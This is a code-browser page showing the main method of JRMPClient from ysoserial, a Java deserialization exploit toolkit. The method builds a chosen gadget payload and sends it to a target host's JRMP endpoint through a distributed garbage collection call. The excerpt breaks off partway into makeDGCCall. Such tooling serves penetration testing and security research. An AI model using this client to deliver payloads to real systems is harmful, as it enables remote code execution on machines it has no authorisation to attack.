MCPcopy Create free account
hub / github.com/Y4er/ysoserial / main

Method main

src/main/java/ysoserial/exploit/JRMPClient.java:29–45  ·  view source on GitHub ↗
(final String[] args)

Source from the content-addressed store, hash-verified

27public class JRMPClient {
28
29 public static final void main(final String[] args) {
30 if (args.length < 4) {
31 System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
32 System.exit(-1);
33 }
34
35 Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
36 String hostname = args[0];
37 int port = Integer.parseInt(args[1]);
38 try {
39 System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
40 makeDGCCall(hostname, port, payloadObject);
41 } catch (Exception e) {
42 e.printStackTrace(System.err);
43 }
44 Utils.releasePayload(args[2], payloadObject);
45 }
46
47 public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
48 InetSocketAddress isa = new InetSocketAddress(hostname, port);

Callers

nothing calls this directly

Calls 3

makePayloadObjectMethod · 0.95
makeDGCCallMethod · 0.95
releasePayloadMethod · 0.95

Tested by

no test coverage detected